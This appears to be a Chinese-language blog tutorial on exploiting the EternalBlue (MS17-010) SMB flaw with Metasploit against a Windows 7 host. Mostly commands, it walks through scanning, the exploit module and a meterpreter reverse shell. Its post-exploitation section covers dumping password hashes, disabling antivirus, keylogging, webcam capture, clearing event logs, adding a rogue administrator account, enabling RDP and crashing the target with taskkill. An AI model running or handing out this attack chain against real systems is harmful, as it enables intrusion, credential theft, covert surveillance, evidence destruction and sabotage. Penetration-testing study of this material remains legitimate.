• 永恒之蓝漏洞 ms17_010 详解


    永恒之蓝 ms 17_010

    1.漏洞介绍

    永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

    1.1 影响版本

    目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

    1.2 漏洞原理

    通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。

    2.信息收集

    2.1 主机扫描

    arp-scan -l
    
    • 1

    image-20231025212952229

    2.2 端口扫描

    nmap -O -sS -T4 192.168.160.52
    
    • 1

    说明:

    • -O:这个选项告诉Nmap进行操作系统识别。它会尝试通过分析目标主机的网络行为和响应来猜测其运行的操作系统类型。
    • -sS:这个选项启用了TCP SYN扫描(也称为半开放扫描)。在进行端口扫描时,Nmap发送一个TCP SYN包到目标主机上的每个目标端口,如果收到了一个SYN/ACK响应,说明该端口是打开的。
    • -T4:这个选项设置了扫描的速度/时间模板。T4是Nmap的默认设置之一,表示较高的扫描速度和更少的等待时间。

    image-20231025213432416

    3. 漏洞探测

    msfconsole
    # 搜寻模块
    search ms17-010
    
    • 1
    • 2
    • 3

    image-20231025213531757

    # 使用第三个模块
    use 3
    # 查看该漏洞模块的具体介绍信息
    info
    
    • 1
    • 2
    • 3
    • 4

    image-20231025213749279

    show missing # 查看需要配置哪些信息
    
    • 1

    image-20231025213854067

    这里需要配置远程主机的IP地址,也就是靶机的IP地址。

    set rhosts 192.168.160.52
    
    • 1

    image-20231025214110486

    使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。

    show options 
    
    • 1

    image-20231025214154262

    开始攻击:

    run
    
    • 1

    image-20231025214327576

    显示该主机很可能能够会受到永恒之蓝漏洞的攻击。

    4. 漏洞利用

    search ms17-010
    
    • 1

    image-20231025214515861

    设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。

    set payload windows/x64/meterpreter/reverse_tcp
    
    • 1

    image-20231025214921034

    设置攻击目标

    set rhosts 192.168.160.52
    run
    
    • 1
    • 2

    image-20231025215127969

    拿下该主机的shell,执行cmd命令。

    在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。

    5.后渗透阶段

    运行了run(exploit)命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

    在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
    sysinfo             #查看目标主机系统信息
    run scraper         #查看目标主机详细信息
    hashdump        #导出密码的哈希
    load kiwi           #加载
    ps                  #查看目标主机进程信息
    pwd                 #查看目标当前目录(windows)
    getlwd              #查看目标当前目录(Linux)
    search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
    download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
    upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
    PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
    idletime            #查看主机运行时间
    getuid              #查看获取的当前权限
    getsystem           #提权
    run  killav         #关闭杀毒软件
    screenshot          #截图
    webcam_list         #查看目标主机的摄像头
    webcam_snap         #拍照
    webcam_stream       #开视频
    execute  参数  -f 可执行文件   #执行可执行程序
    run getgui -u hack -p 123    #创建hack用户,密码为123
    run getgui -e                #开启远程桌面
    keyscan_start                #开启键盘记录功能
    keyscan_dump                 #显示捕捉到的键盘记录信息
    keyscan_stop                 #停止键盘记录功能
    uictl  disable  keyboard     #禁止目标使用键盘
    uictl  enable   keyboard     #允许目标使用键盘
    uictl  disable  mouse        #禁止目标使用鼠标
    uictl  enable   mouse        #允许目标使用鼠标
    load                         #使用扩展库
    run				             #使用扩展库
    clearev                       #清除日志
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    示例:

    查看主机系统信息

    sysinfo
    
    • 1

    image-20231025220543217

    查看IP地址信息:

    ipconfig
    
    • 1

    image-20231025223621940

    查看用户身份

    getuid
    
    • 1

    image-20231025215221261

    获得shell控制台

    shell
    
    • 1

    image-20231025220730312

    如果乱码受不了的话,输入:chcp 65001 即可:

    image-20231025220840596

    下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

    run post/windows/manage/migrate                  #自动进程迁移     
    run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
    run post/windows/manage/killav                   #关闭杀毒软件     
    run post/windows/manage/enable_rdp               #开启远程桌面服务     
    run post/windows/manage/autoroute                #查看路由信息     
    run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
    run post/windows/gather/enum_applications        #列举应用程序     
    run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
    run windows/gather/smart_hashdump                #dump出所有用户的hash
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    示例:

    获取用户密码

    run windows/gather/smart_hashdump 或者 hashdump
    
    • 1

    image-20231025221332859

    image-20231025221356217

    5.1创建新的管理员账户

    进入shell控制台

    image-20231025221513980

    在目标主机上创建一个名为ghui的用户,密码为123456

    image-20231025221623423

    将ghui加入到windows 7的本地管理员组中,以便获得更大权限

    net localgroup administrators ghui /add
    
    • 1

    image-20231025222313443

    查看本地用户

    net user
    
    • 1

    image-20231025222352832

    查看本地管理员

    net localgroup administrators
    
    • 1

    image-20231025222501204

    可以看到ghui已经被添加到windows管理员组中。

    5.2开启远程桌面

    运用getuid脚本开启目标主机远程桌面:

    run getgui -e或者run post/windows/manage/enable_rdp
    
    • 1

    image-20231025222838315

    在kali终端输入

    rdesktop 192.168.160.52
    
    • 1

    image-20231025223038965

    选择其他用户:

    image-20231025223109927

    登录之前创建得ghui用户,密码123456:

    image-20231025223320461

    5.3蓝屏攻击

    最后一步,让它蓝屏:

    taskkill /f /fi "pid ne 1"
    
    • 1

    解释:

    taskkill 用于终止运行中的进程,表示杀进程。
    /f 是一个参数,表示强制终止进程。
    /fi 是一个参数,用于指定进程过滤器(filter)。
    "pid ne 1" 是一个过滤器表达式,用于筛选进程。在这个例子中,pid 代表进程的 ID(PID),ne 表示不等于,1 是要排除的进程 ID。换句话说,这个命令会终止除了进程 ID 为 1(通常是系统进程)之外的所有进程。

    执行结果:

    image-20231025223519261

  • 相关阅读:
    温度及pH敏感性聚乙烯醇/羧甲基壳聚糖水凝胶/金银花多糖/薄荷多糖/O-羧甲基壳聚糖水凝胶
    生信步骤|kmc+genomescope进行基因组调查
    Rakis: 免费基于 P2P 的去中心化的大模型
    ConcurrentHashMap为什么不允许插入null值?
    【STM32】入门(十一):初识uCOS-III
    通过图卷积网络从单词语义学习到句子句法,用于基于方面的情感分析
    Nginx学习(在 Docker 中使用 Nginx)
    Win10系统下安装Ubuntu系统(双系统)
    Word控件Spire.Doc 【图像形状】教程(8): 如何借助C#/VB.NET在 Word 中插入艺术字
    Element 自定义指令 下拉分页,获取无限数据
  • 原文地址:https://blog.csdn.net/qq_45953122/article/details/134045284